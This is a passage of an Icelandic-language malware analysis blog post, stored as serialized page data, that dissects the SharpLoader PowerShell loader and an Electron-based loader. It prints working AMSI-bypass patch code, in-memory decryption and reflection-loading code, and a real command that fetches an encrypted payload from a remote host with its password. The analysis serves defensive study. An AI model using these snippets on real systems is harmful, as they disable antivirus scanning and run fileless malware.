fullu án þess að þurfa að koma nærri upprunalega loadernum aftur. Uppbygging safnskrárinnar passaði nákvæmlega við það Electron-forritsskipulag sem vænta mátti.",[525,1884,1885,1886,1889],{},"Þessi hegðun bendir sterklega til þess að árásaraðilarnir hafi vísvitandi valið ",[567,1887,1888],{},"einingaskiptan arkitektúr sem einfalt er að viðhalda"," og notað safnskrár sem sveigjanleg ílát fyrir payloads. Það gerði þeim einnig kleift að skipta út eða uppfæra hluta payloadsins án þess að endurþýða loader-binary-ið.",[525,1891,1892],{},"Og í okkar tilviki gerði það okkur kleift að leika á keðju þeirra, hlera droppið og hverfa á braut með allan pakkann, eins og að stela hönnunarteikningunum af vinnubekknum á meðan smiðurinn sneri sér undan.",[525,1894,1895,1896],{},"Segjum bara sem er: ",[567,1897,1898,1899,646,1902,1905],{},"stundum eru bestu forensic-verkfærin ",[578,1900,1901],{},"del",[578,1903,1904],{},"wait"," og smá forvitni.",[556,1907,1909,1910],{"id":1908},"_4-deep-dive-powbat","4. Deep Dive: ",[578,1911,1912],{},"pow.bat",[525,1914,562],{},[525,1916,1917,1918,1921],{},"Í malware-herferðinni sem greind var virkar hlutinn ",[578,1919,1920],{},"Invoke-SharpLoader"," sem sérsmíðaður .NET-loader sem býr í minni og sýnir mjög einingaskipt og evasivt keyrsluflæði. Þessi kafli tekur í sundur innri arkitektúr hans, aðferðir hans gegn greiningu með AMSI-patchi og hlutverk hans í að greiða fyrir payloadinum á öðru þrepi.",[740,1923,1925],{"id":1924},"_41-eiginleikar-binaries-sharploader-batch-wrapper","4.1 Eiginleikar binaries – SharpLoader batch-wrapper",[525,1927,746],{},[525,1929,1930,1931,1933],{},"Áður en hann er keyrður til að hlaða .NET-payloadinum í minni sýnir ytri wrapperinn ",[578,1932,1912],{}," eftirfarandi einkenni samkvæmt statískri greiningu:",[1417,1935,1936,1944],{},[1420,1937,1938],{},[1423,1939,1940,1942],{},[1426,1941,1428],{},[1426,1943,1431],{},[1433,1945,1946,1955,1964,1974,1983,1993,2003,2012],{},[1423,1947,1948,1952],{},[1438,1949,1950],{},[567,1951,1442],{},[1438,1953,1954],{},"DOS batch-skrá",[1423,1956,1957,1961],{},[1438,1958,1959],{},[567,1960,1452],{},[1438,1962,1963],{},"scriptbyggt (ekki þýtt binary)",[1423,1965,1966,1971],{},[1438,1967,1968],{},[567,1969,1970],{},"Skráarstærð:",[1438,1972,1973],{},"27,79 KB (28454 bæti)",[1423,1975,1976,1980],{},[1438,1977,1978],{},[567,1979,1472],{},[1438,1981,1982],{},"eðlileg (einfaldur ASCII-texti)",[1423,1984,1985,1990],{},[1438,1986,1987],{},[567,1988,1989],{},"Magic:",[1438,1991,1992],{},"DOS batch file, ASCII text",[1423,1994,1995,2000],{},[1438,1996,1997],{},[567,1998,1999],{},"Rafræn undirritun:",[1438,2001,2002],{},"engin greind",[1423,2004,2005,2009],{},[1438,2006,2007],{},[567,2008,1492],{},[1438,2010,2011],{},"26 / 61 (við greiningu)",[1423,2013,2014,2019],{},[1438,2015,2016],{},[567,2017,2018],{},"Ógnarmerkingar:",[1438,2020,2021,646,2024,646,2027,646,2029],{},[578,2022,2023],{},"trojan",[578,2025,2026],{},"downloader",[578,2028,1708],{},[578,2030,2031],{},"agentb",[525,2033,2034,2035,2038],{},"Þótt þetta sé einföld ",[578,2036,2037],{},".bat","-skrá kemst scriptið hjá mörgum statískum detections og reiðir sig mjög á living-off-the-land aðferðir eins og PowerShell til að sækja og keyra obfuskeraða og dulkóðaða payloads.",[740,2040,2042,2043,1138],{"id":2041},"_42-aðferð-til-að-komast-hjá-amsi-klasi-gofor4msi","4.2 Aðferð til að komast hjá AMSI (klasi: ",[578,2044,2045],{},"gofor4msi",[525,2047,746],{},[525,2049,2050],{},"Einn fyrsti varnarbúnaðurinn sem SharpLoader kemst hjá er AMSI, Anti-Malware Scan Interface, eiginleiki Microsoft sem samþættur er í scriptvélar eins og PowerShell og Windows Script Host til að skanna innihald í rauntíma með tilliti til grunsamlegrar hegðunar. Höfundar malware reyna oft að komast hjá AMSI til að forðast detection frá endpoint-vörnum.",[525,2052,2053,2054,2057,2058,2061,2062,2065,2066,2069,2070,2073],{},"Í SharpLoader er AMSI komist hjá með ",[567,2055,2056],{},"beinum patchi í minni"," á fallinu ",[578,2059,2060],{},"AmsiScanBuffer"," inni í ",[578,2063,2064],{},"amsi.dll",". Þetta fall er venjulega ábyrgt fyrir því að greina innihald scripta og skila niðurstöðukóða sem segir til um hvort innihaldið sé grunsamlegt (",[578,2067,2068],{},"AMSI_RESULT_DETECTED",") eða hreint (",[578,2071,2072],{},"AMSI_RESULT_CLEAN",").",[525,2075,2076],{},"Viðkomandi kóði fyrir patch í minni er:",[615,2078,2082],{"className":2079,"code":2080,"language":2081,"meta":529,"style":529},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[578,2083,2084,2089,2094,2100],{"__ignoreMap":529},[1712,2085,2086],{"class":1714,"line":1715},[1712,2087,2088],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1712,2090,2091],{"class":1714,"line":530},[1712,2092,2093],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1712,2095,2097],{"class":1714,"line":2096},3,[1712,2098,2099],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1712,2101,2103],{"class":1714,"line":2102},4,[1712,2104,2105],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[525,2107,2108],{},"Þessi runa framkvæmir eftirfarandi skref:",[2110,2111,2112,2121,2132,2142],"ol",{},[633,2113,2114,2117,2118,613],{},[567,2115,2116],{},"Hlaðið AMSI-DLL-inu"," inn í ferlið með ",[578,2119,2120],{},"LoadLibrary(\"amsi.dll\")",[633,2122,2123,2126,2127,1282,2129,613],{},[567,2124,2125],{},"Finnið minnisheimilisfangið"," fyrir fallið ",[578,2128,2060],{},[578,2130,2131],{},"GetProcAddress()",[633,2133,2134,2137,2138,2141],{},[567,2135,2136],{},"Breytið minnisvörninni"," á heimilisfanginu með ",[578,2139,2140],{},"VirtualProtect()"," svo það verði skrifanlegt.",[633,2143,2144,1282,2147,2150],{},[567,2145,2146],{},"Skrifið yfir upphaf fallsins",[578,2148,2149],{},"Marshal.Copy()"," og litlum shellcode-patchi.",[525,2152,2153],{},"Patchinn sem notaður er á 64-bita kerfum er:",[615,2155,2157],{"className":2079,"code":2156,"language":2081,"meta":529,"style":529},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[578,2158,2159],{"__ignoreMap":529},[1712,2160,2161],{"class":1714,"line":1715},[1712,2162,2156],{},[525,2164,2165],{},"Það samsvarar eftirfarandi instructions:",[630,2167,2168,2177],{},[633,2169,2170,2173,2174],{},[578,2171,2172],{},"mov eax, 0x80070057"," → setur skilakóðann á Windows-villukóðann ",[578,2175,2176],{},"E_INVALIDARG",[633,2178,2179,2182],{},[578,2180,2181],{},"ret"," → skilar samstundis úr fallinu",[525,2184,2185,2186,2188],{},"Þetta veldur því í reynd að ",[578,2187,2060],{}," bregst hljóðlega og skilar niðurstöðu um enga detection, sem gerir AMSI-athuganir óvirkar. Malware-ið getur nú keyrt scripta eða .NET-kóða sem annars myndi kveikja á antivirus-alerts.",[525,2190,2191],{},"Sé þetta keyrt á 32-bita kerfi er annar patch notaður:",[615,2193,2195],{"className":2079,"code":2194,"language":2081,"meta":529,"style":529},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[578,2196,2197],{"__ignoreMap":529},[1712,2198,2199],{"class":1714,"line":1715},[1712,2200,2194],{},[525,2202,2203],{},"Þetta endurspeglar sama markmið, að þvinga fram \"hreina\" niðurstöðu, en aðlagað að x86-kallvenjunni.",[525,2205,2206,2207,646,2210,585,2213,2216],{},"Notkun hreinna P/Invoke-kalla eins og ",[578,2208,2209],{},"LoadLibrary",[578,2211,2212],{},"GetProcAddress",[578,2214,2215],{},"VirtualProtect"," gerir kleift að framkvæma þennan patch dýnamískt og án þess að kalla á nokkur háþrepa API sem EDR-verkfæri gætu vaktað. Þessi aðferð er þjöpp, áhrifarík og skilur eftir sig lágmark af forensic-artifacts.",[525,2218,2219,2220,2223],{},"Í stuttu máli er þessi aðferð til að komast hjá AMSI ",[567,2221,2222],{},"lágþrepa árás beint á minni antivirus-viðmótsins",", framkvæmd á millisekúndum á keyrslutíma. Hún er sterkt dæmi um það hvers vegna hegðunarvöktun og skoðun á minni eru ómissandi í nútíma vörnum á endpointum.",[740,2225,2227],{"id":2226},"_43-meðhöndlun-payloads-á-þrepi-2","4.3 Meðhöndlun payloads á þrepi 2",[525,2229,746],{},[525,2231,2232,2233,2236],{},"Eftir að komist hefur verið hjá AMSI heldur loaderinn áfram og sækir og undirbýr payloadinn á öðru þrepi. Þessi payload er ekki innbyggður í loadernum sjálfum heldur er hann sóttur annaðhvort frá fjartengdum server eða lesinn af diski, allt eftir því hvernig loaderinn er kallaður með ",[578,2234,2235],{},"$location","-breytunni.",[525,2238,2239,2240,2243,2244,2247,2248,2251,2252,2255,2256,613],{},"Ef staðsetningin byrjar á ",[578,2241,2242],{},"http"," er hún túlkuð sem URL og loaderinn notar ",[578,2245,2246],{},"Get_Stage2()"," til að sækja payloadinn með ",[578,2249,2250],{},"HttpWebRequest",". Sé hún staðbundin slóð les ",[578,2253,2254],{},"Get_Stage2disk()"," innihaldið beint úr skráakerfinu. Í báðum tilvikum er væntanlegt skráarinnihald blob sem er ",[567,2257,2258],{},"Base64-kóðað, GZip-þjappað og AES-dulkóðað",[525,2260,2261,2262,2265],{},"Loaderinn framkvæmir svo ",[567,2263,2264],{},"afkóðunarpípu í fjórum þrepum"," alfarið í minni:",[2110,2267,2268,2274,2284,2294],{},[633,2269,2270,2273],{},[567,2271,2272],{},"Base64-afkóðun",": umbreytir kóðaða strengnum í hrá bæti. Þessu skrefi er ætlað að hylja hið eiginlega innihald binaries fyrir statískum skoðunartólum og hindra einfalda mynsturleit.",[633,2275,2276,2279,2280,2283],{},[567,2277,2278],{},"GZip-afþjöppun",": afkóðuðu bætin eru send í ",[578,2281,2282],{},"GZipStream"," sem afþjappar payloadinn. Þjöppunin minnkar skráarstærðina og bætir enn einu lagi af obfuskun við.",[633,2285,2286,2289,2290,2293],{},[567,2287,2288],{},"AES-afkóðun",": þjöppuðu bætin eru afkóðuð með AES (Rijndael) í CBC-móð. Lykillinn er leiddur á keyrslutíma út frá lykilorðinu sem notandinn gefur, með SHA-256-hashi ásamt PBKDF2 (",[578,2291,2292],{},"Rfc2898DeriveBytes",") og fastri salt.",[633,2295,2296,2299],{},[567,2297,2298],{},"Salt fjarlægð",": afkóðaða niðurstaðan inniheldur enn salt-forskeyti með fastri lengd (4 bæti). Þessi bæti eru fjarlægð handvirkt til að fá hreina binary-blobbið sem er gilt .NET assembly.",[525,2301,2302],{},"Afkóðunarpípan er keyrð þannig:",[615,2304,2306],{"className":2079,"code":2305,"language":2081,"meta":529,"style":529},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[578,2307,2308,2313],{"__ignoreMap":529},[1712,2309,2310],{"class":1714,"line":1715},[1712,2311,2312],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1712,2314,2315],{"class":1714,"line":530},[1712,2316,2317],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[525,2319,2320,2321,2324],{},"Hér er ",[578,2322,2323],{},"AES_Decrypt()"," sérsmíðað fall sem pakkar Rijndael-algríminu inn, stillt með 256-bita lykli og 128-bita IV (initialization vector), bæði leidd út frá lykilorðinu.",[525,2326,2327],{},[567,2328,2329],{},"Helstu athuganir á hönnuninni:",[630,2331,2332,2335,2338],{},[633,2333,2334],{},"Notkun AES-CBC með PBKDF2 gerir brute-forcing á lykilorðinu ekki einfalt mál.",[633,2336,2337],{},"Þar sem afkóðun fer fram í minni eru engar milliniðurstöður nokkurn tímann skrifaðar á disk, sem dregur úr forensic-artifacts.",[633,2339,2340],{},"Sé rangt lykilorð gefið misheppnast afkóðunin hljóðlega eða framleiðir ógild gögn, sem getur leitt til misheppnaðrar keyrslu eða torrekjanlegra undantekninga.",[525,2342,2343],{},"Í stuttu máli hækkar þessi fjölþrepa meðhöndlun payloads þröskuldinn töluvert fyrir statíska detection, bæði þá sem byggir á signature og þá sem byggir á heuristík. Án þess að keyra kóðann í raun eða skoða hegðun loadersins í þaula eru þeir sem verjast ólíklegir til að finna innbyggða payloadinn nema þeir þekki líka lykilorðið og nákvæmu afkóðunarrökvísina.",[740,2345,2347],{"id":2346},"_44-dýnamísk-hleðsla-assemblies","4.4 Dýnamísk hleðsla assemblies",[525,2349,746],{},[525,2351,2352],{},"Eftir að payloadinn á öðru þrepi hefur verið afkóðaður með árangri er bætaröðin sem út kemur gilt .NET assembly. Í stað þess að skrifa þetta assembly á disk, sem er algengur indicator fyrir antivirus- eða EDR-kerfi, keyrir SharpLoader það beint í minni með reflection:",[615,2354,2356],{"className":2079,"code":2355,"language":2081,"meta":529,"style":529},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[578,2357,2358,2363],{"__ignoreMap":529},[1712,2359,2360],{"class":1714,"line":1715},[1712,2361,2362],{},"Assembly a = Assembly.Load(bin);\n",[1712,2364,2365],{"class":1714,"line":530},[1712,2366,2367],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[525,2369,2370,2371,2374],{},"Þessi tækni er kölluð ",[567,2372,2373],{},"fileless keyrsla",". Hún er mjög evasiv því hún:",[630,2376,2377,2380,2383],{},[633,2378,2379],{},"Kemur aldrei við diskinn og skilur engin skráarbundin IOC (indicators of compromise) eftir sig",[633,2381,2382],{},"Gerir hefðbundna forensic-söfnun erfiðari, því ekkert binary er varðveitt á diski",[633,2384,2385],{},"Kemst hjá statískri signature-byggðri detection, því AV-engines byggja oft á skönnun skráa",[525,2387,2388,2389,2392,2393,2396],{},"Ef ",[578,2390,2391],{},"EntryPoint"," er ekki ",[578,2394,2395],{},"static"," hefur loaderinn vararökvísi:",[615,2398,2400],{"className":2079,"code":2399,"language":2081,"meta":529,"style":529},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[578,2401,2402,2407,2412,2417,2422,2428],{"__ignoreMap":529},[1712,2403,2404],{"class":1714,"line":1715},[1712,2405,2406],{},"MethodInfo method = a.EntryPoint;\n",[1712,2408,2409],{"class":1714,"line":530},[1712,2410,2411],{},"if (method != null)\n",[1712,2413,2414],{"class":1714,"line":2096},[1712,2415,2416],{},"{\n",[1712,2418,2419],{"class":1714,"line":2102},[1712,2420,2421],{},"    object o = a.CreateInstance(method.Name);\n",[1712,2423,2425],{"class":1714,"line":2424},5,[1712,2426,2427],{},"    method.Invoke(o, null);\n",[1712,2429,2431],{"class":1714,"line":2430},6,[1712,2432,2433],{},"}\n",[525,2435,2436,2437,2440],{},"Þetta tryggir samhæfni við assemblies sem þurfa hlut sem búið er að frumstilla til að keyra (t.d. ",[578,2438,2439],{},"public int Main()"," inni í klasatilviki). Kóðinn býr dýnamískt til tilvik af klasanum og kallar svo á entry point-fallið.",[525,2442,2443],{},"Ásamt því að komast hjá AMSI og afkóðun í minni færir þessi búnaður endanlega payloadinn til keyrslu á hljóðlátan og alfarið fileless hátt, sem er einkennismerki nútíma evasivs malware.",[740,2445,2447],{"id":2446},"_45-breytur-á-skipanalínu-og-sveigjanleiki","4.5 Breytur á skipanalínu og sveigjanleiki",[525,2449,746],{},[525,2451,2452,2453,2455],{},"PowerShell-fallinu ",[578,2454,1920],{}," er ætlað að vera sveigjanlegur wrapper fyrir hvaða .NET-payload sem er. Það styður dýnamískt inntak bæði á staðsetningu payloads og argument, sem gerir kleift að endurnýta eitt loader-tilvik í mörgum aðgerðum eða herferðum.",[525,2457,2458],{},[567,2459,2460],{},"Studdar breytur:",[630,2462,2463,2469,2475,2495],{},[633,2464,2465,2468],{},[578,2466,2467],{},"-location"," (skylda): tilgreinir annaðhvort URL eða staðbundna skráaslóð á dulkóðaða payloadinn á þrepi tvö.",[633,2470,2471,2474],{},[578,2472,2473],{},"-password"," (skylda): notað til að leiða AES-afkóðunarlykilinn.",[633,2476,2477,646,2480,646,2483,2486,2487,2490,2491,2494],{},[578,2478,2479],{},"-argument",[578,2481,2482],{},"-argument2",[578,2484,2485],{},"-argument3"," (valkvæmt): þessum er áframsent beint í ",[578,2488,2489],{},"Main()","-fall ",[578,2492,2493],{},".NET","-assemblysins með reflection.",[633,2496,2497,2500],{},[578,2498,2499],{},"-noArgs",": kveikir keyrslu án þess að senda nokkrar breytur í payloadinn á öðru þrepi.",[525,2502,2503],{},"Innanhúss er argumentunum safnað og þeim áframsent þannig:",[615,2505,2507],{"className":1706,"code":2506,"language":1708,"meta":529,"style":529},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[578,2508,2509,2514],{"__ignoreMap":529},[1712,2510,2511],{"class":1714,"line":1715},[1712,2512,2513],{},"object[] cmd = args.Skip(2).ToArray();\n",[1712,2515,2516],{"class":1714,"line":530},[1712,2517,2518],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[525,2520,2521],{},"Það þýðir að .NET-payloadinn er væntur til að hafa signature á þessa leið:",[615,2523,2525],{"className":2079,"code":2524,"language":2081,"meta":529,"style":529},"static void Main(string[] args)\n",[578,2526,2527],{"__ignoreMap":529},[1712,2528,2529],{"class":1714,"line":1715},[1712,2530,2524],{},[525,2532,2533,2534,2536],{},"eða hann fellur snurðulaust yfir í ",[578,2535,2489],{},"-afbrigðið án breyta í gegnum vararökvísina. Þessi hegðun gerir red teams eða höfundum malware kleift að búa til fjölnota önnur þrep sem geta framkvæmt ólíkar aðgerðir eftir inntakinu, til dæmis ræst implant, safnað kerfisupplýsingum eða hafið C2-samskipti.",[525,2538,2539],{},"Slík einingaskipting og stillanleiki eru lykileinkenni háþróaðra malware-frameworka og sýna hvernig scriptbyggðir loaders geta hagað sér sem mjög aðlögunarhæf keyrsluumhverfi fyrir payloads neðar í keðjunni.",[740,2541,2543],{"id":2542},"_46-dæmi-um-notkun-í-raunheimum","4.6 Dæmi um notkun í raunheimum",[525,2545,746],{},[525,2547,2548],{},"Til að sýna keyrslu SharpLoader í raunverulegri herferð má skoða eftirfarandi kall sem sást í umferð:",[615,2550,2552],{"className":1706,"code":2551,"language":1708,"meta":529,"style":529},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[578,2553,2554],{"__ignoreMap":529},[1712,2555,2556],{"class":1714,"line":1715},[1712,2557,2551],{},[525,2559,2560],{},"Þetta dæmi undirstrikar dæmigerða notkun SharpLoader:",[630,2562,2563,2577,2589,2599],{},[633,2564,2565,2568,2569,2572,2573,2576],{},[567,2566,2567],{},"Location-argumentið",": URL-ið vísar á fjartengdan server sem hýsir ",[578,2570,2571],{},"calc.enc",", hulinn payload á öðru þrepi. Endapunkturinn liggur undir ",[578,2574,2575],{},".well-known","-möppu sem virðist lögmæt og er oft notuð við staðfestingu HTTPS-skilríkja, sem hjálpar URL-inu að falla inn í lögmæta vefumferð.",[633,2578,2579,998,2582,2584,2585,2588],{},[567,2580,2581],{},"Einkenni payloadsins",[578,2583,2571],{}," er ",[567,2586,2587],{},"þrefalt obfuskeruð skrá",", Base64-kóðuð, GZip-þjöppuð og AES-dulkóðuð. Þessi obfuskunarpípa tryggir að payloadinn er ógegnsær flestum detection-búnaði nema hann sé keyrður og afkóðaður að fullu í minni.",[633,2590,2591,2594,2595,2598],{},[567,2592,2593],{},"Password-argumentið",": strengurinn ",[578,2596,2597],{},"UwUFufu1"," er notaður á keyrslutíma til að leiða AES-lykilinn með SHA-256 og PBKDF2. Án þessa lykilorðs er ekki hægt að afkóða payloadinn, sem gerir greiningu án samhengis utan keyrslu nánast ómögulega.",[633,2600,2601,2604,2605,2607],{},[567,2602,2603],{},"Engin viðbótarargument",": rofinn ",[578,2606,2499],{}," gefur til kynna að engar breytur á skipanalínu séu sendar í afkóðaða .NET-assemblyið, sem kveikir sjálfgefna keyrsluleið þess.",[525,2609,2610,2611,2614],{},"Þessi hljóðláta kallkeðja rúmar kjarnatilgang SharpLoader: ",[567,2612,2613],{},"fileless, aðlögunarhæfa og örugga afhendingu payloads"," með einfaldri PowerShell-setningagerð og hámarks obfuskun og evasion.",[740,2616,2618],{"id":2617},"_47-samantekt","4.7 Samantekt",[525,2620,746],{},[525,2622,2623,2624,2626],{},"Smíðin ",[578,2625,1920],{}," er dæmi um afar fágaða og evasiva aðferð til að staging-a malware, sem nýtir innbyggða kerfishluta, reflection og dulkóðun til að starfa nánast alfarið í minni.",[525,2628,2629],{},[567,2630,2631],{},"Helstu punktar:",[630,2633,2634,2643,2649,2655],{},[633,2635,2636,2639,2640,2642],{},[567,2637,2638],{},"Komist hjá AMSI",": beinn patch í minni á ",[578,2641,2060],{}," gerir skoðun antivirus óvirka án þess að kalla á API sem greinast.",[633,2644,2645,2648],{},[567,2646,2647],{},"Örugg meðhöndlun payloads",": að sækja dulkóðaða og þjappaða payloads á þrepi tvö tryggir trúnað og bætir við mörgum lögum af evasion.",[633,2650,2651,2654],{},[567,2652,2653],{},"Keyrsla eingöngu í minni",": afkóðaðir payloads eru aldrei skrifaðir á disk, sem gerir detection með hefðbundnum skráabundnum skönnurum nánast ómögulega.",[633,2656,2657,2660],{},[567,2658,2659],{},"Einingaskiptur og endurnýtanlegur arkitektúr",": með PowerShell-breytum má endurnýta SharpLoader sveigjanlega í mörgum herferðum með ólíkum payloads og keyrsluhegðun.",[556,2662,2664,2665,2667],{"id":2663},"_5-deep-dive-mainexe-electron-byggður-malware-loader","5. Deep Dive: ",[578,2666,605],{}," – Electron-byggður malware-loader",[525,2669,562],{},[525,2671,2672,2673,2675,2676,2679,2680,585,2682,2684],{},"Við reverse engineering varð ljóst að ",[578,2674,605],{},", sem Microsoft Defender for Endpoint hafði merkt, var ekki hefðbundið binary heldur ",[567,2677,2678],{},"Electron-byggður malware-loader",". Það var afhent inni í safnskrá sem hét ",[578,2681,1854],{},[578,2683,601],{}," sótti og pakkaði út á keyrslutíma. Eftir útpökkun líktist uppbyggingin og innihaldið mjög dæmigerðu Electron-forriti.",[740,2686,2688],{"id":2687},"_51-að-þekkja-electron-uppbyggingu","5.1 Að þekkja Electron-uppbyggingu",[525,2690,746],{},[525,2692,2693],{},"Í útdregnu möppunni voru meðal annars þessar skrár:",[630,2695,2696,2707,2715,2721],{},[633,2697,2698,646,2701,646,2704],{},[578,2699,2700],{},"chrome_100_percent.pak",[578,2702,2703],{},"v8_context_snapshot.bin",[578,2705,2706],{},"d3dcompiler_47.dll",[633,2708,2709,585,2712],{},[578,2710,2711],{},"LICENSES.chromium",[578,2713,2714],{},"LICENSES.electron",[633,2716,2717,2718,2720],{},"Stórt ",[578,2719,605],{},"-binary (~150 MB)",[633,2722,2723,2725,2726,2728,2729],{},[578,2724,1864],{},"-mappa sem innihélt ",[578,2727,1072],{}," og annað binary, ",[578,2730,2731],{},"elevate.exe",[525,2733,2734],{},[774,2735],{"alt":2736,"src":2737},"Pökkuð 64-bita Windows-útgáfa af skjáborðsforritinu","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[525,2739,2740,2741,2743],{},"Allt þetta eru sterkar vísbendingar um Electron-forrit, sem notar Chromium og Node.js til að pakka JavaScript-byggðum skjáborðsforritum. Tilvist ",[578,2742,2731],{},", undirritaðs Microsoft-binaries sem oft er notað til að auka réttindi, vakti frekari tortryggni, því það má misnota til að ræsa barnferli með upphöfnum réttindum.",[740,2745,2747],{"id":2746},"_52-útpökkun-og-statísk-greining-deep-dive","5.2 Útpökkun og statísk greining (deep dive)",[525,2749,746],{},[525,2751,2752,2753,2755,2756,2758,2759,2761,2762,2764,2765,2768],{},"Í stað þess að keyra ",[578,2754,605],{}," valdi ég statíska greiningu til að forðast að kveikja á nokkurri raunverulegri hegðun. Upphafleg tilgáta mín um að ",[578,2757,605],{}," væri byggt með Electron var staðfest þegar ",[578,2760,1072],{},"-skráin fannst inni í ",[578,2763,1864],{},"-möppunni. Í Electron-forritum inniheldur þessi safnskrá alla kjarnarökvísi forritsins, svo sem JavaScript-skrár, uppsetningu (",[578,2766,2767],{},"package.json",") og tilföng, pakkað á sérsniðnu sniði til að auka afköst og obfuskera.",[525,2770,2771,2774,2775,2778],{},[578,2772,2773],{},".asar","-safnskráin er í grunninn skrifvarið ílát með háum afköstum, sambærilegt ",[578,2776,2777],{},".zip"," en fínstillt fyrir runtime Electron. Þótt hún sé ekki dulkóðuð obfuskerar hún aðgang að kóðanum og gerir statíska greiningu erfiðari nema pakkað sé út.",[525,2780,2781,2782,2785],{},"Til að pakka henni út notaði ég hið opinbera ",[578,2783,2784],{},"asar","-tól sem kemur í gegnum npm. Skrefin voru:",[615,2787,2791],{"className":2788,"code":2789,"language":2790,"meta":529,"style":529},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[578,2792,2793,2810],{"__ignoreMap":529},[1712,2794,2795,2799,2803,2807],{"class":1714,"line":1715},[1712,2796,2798],{"class":2797},"sScJk","npm",[1712,2800,2802],{"class":2801},"sZZnC"," install",[1712,2804,2806],{"class":2805},"sj4cs"," -g",[1712,2808,2809],{"class":2801}," asar\n",[1712,2811,2812,2814,2817,2820],{"class":1714,"line":530},[1712,2813,2784],{"class":2797},[1712,2815,2816],{"class":2801}," extract",[1712,2818,2819],{"class":2801}," app.asar",[1712,2821,2822],{"class":2801}," extracted_app\n",[525,2824,2825,2826,2829],{},"Skipanirnar hér fyrir ofan drógu innihaldið út í vinnumöppu (",[578,2827,2828],{},"extracted_app/","), sem afhjúpaði hinn eiginlega JavaScript-forritskóða. Þar var meðal annars:",[630,2831,2832,2853,2861],{},[633,2833,2834,646,2837,646,2840,2843,2844,2846,2847,2849,2850,2852],{},[578,2835,2836],{},"jscryter.js",[578,2838,2839],{},"input.js",[578,2841,2842],{},"obf.js",": þessi script mynda malware-rökvísina. ",[578,2845,2836],{}," virðist stjórna afhendingu payloads, ",[578,2848,2839],{}," skilgreinir uppsetningarfasta eða skipanarökvísi, og ",[578,2851,2842],{}," er mjög obfuskerað script sem líklega inniheldur kjarnarökvísi payloadsins.",[633,2854,2855,646,2857,2860],{},[578,2856,2767],{},[578,2858,2859],{},"package-lock.json",": skilgreina runtime-umhverfið",[633,2862,2863,2866,2867,646,2870,646,2873],{},[578,2864,2865],{},"node_modules/",": inniheldur allar háðar einingar eins og ",[578,2868,2869],{},"axios",[578,2871,2872],{},"adm-zip",[578,2874,2875],{},"child_process",[525,2877,2878,2879,2881,2882,613],{},"Útpakkaða innihaldið gaf fullt gagnsæi í rökvísi malware-sins án þess að keyra þyrfti kóðann, sem var forsenda öruggs reverse engineering. Þetta skref staðfesti að ",[578,2880,605],{}," var einvörðungu runtime-wrapper utan um illgjörnu scriptin sem földu sig inni í ",[578,2883,1072],{},[740,2885,2887],{"id":2886},"_53-hvað-statíska-greiningin-afhjúpaði","5.3. Hvað statíska greiningin afhjúpaði",[525,2889,746],{},[525,2891,2892],{},"Með því að skoða kóðann handvirkt staðfesti ég að malware-rökvísin var alfarið JavaScript-byggð og keyrði innan runtime Electron. Scriptunum var ætlað að:",[630,2894,2895,2902,2907,2910],{},[633,2896,2897,2898,2901],{},"Sækja dulkóðaðan payload (",[578,2899,2900],{},"pyth.zip",") frá vara-URL-um",[633,2903,2904,2905],{},"Pakka safnskránni út með ",[578,2906,2872],{},[633,2908,2909],{},"Framkvæma strengjaskipti til að skjóta inn tilteknum credentials eða veskjaheimilisföngum",[633,2911,2912,2913,2915,2916,585,2919],{},"Ræsa Python-skrána sem út kemur (",[578,2914,609],{},") í gegnum ",[578,2917,2918],{},"child_process.exec()",[578,2920,580],{},[525,2922,2923,2924,2930],{},"Það sem mestu máli skiptir er að loaderinn hafði einnig rökvísi til að ",[567,2925,2926,2927,2929],{},"afrita ",[578,2928,601],{}," inn í AppData-möppu notandans"," ef það var ekki þegar til staðar, sem styrkti persistence og hélt sýkingarlykkjunni gangandi.",[556,2932,2934,2935,2937],{"id":2933},"_6-deep-dive-inputjs-dulkóðaði-javascript-payload-loaderinn","6. Deep Dive: ",[578,2936,2839],{}," – dulkóðaði JavaScript-payload-loaderinn",[525,2939,562],{},[525,2941,2942,2944],{},[578,2943,2839],{}," er lykilhluti í malware-keðjunni sem greind var og virkar sem miðstöð afkóðunar og keyrslu fyrir dulkóðaðan JavaScript-payload. Þetta script felur kjarnavirkni sína bak við sterkt dulkóðunarlag og sýnir hegðun sína aðeins á keyrslutíma.",[740,2946,2948],{"id":2947},"_61-verklag-dulkóðunar-og-afkóðunar","6.1 Verklag dulkóðunar og afkóðunar",[525,2950,746],{},[525,2952,2953,2954,2956],{},"Við fyrstu sýn inniheldur ",[578,2955,2839],{}," mjög lítinn læsilegan kóða. Meginhlutverk þess er hins vegar að afkóða og keyra stórt obfuskerað JavaScript-blob sem geymt er inni í scriptinu 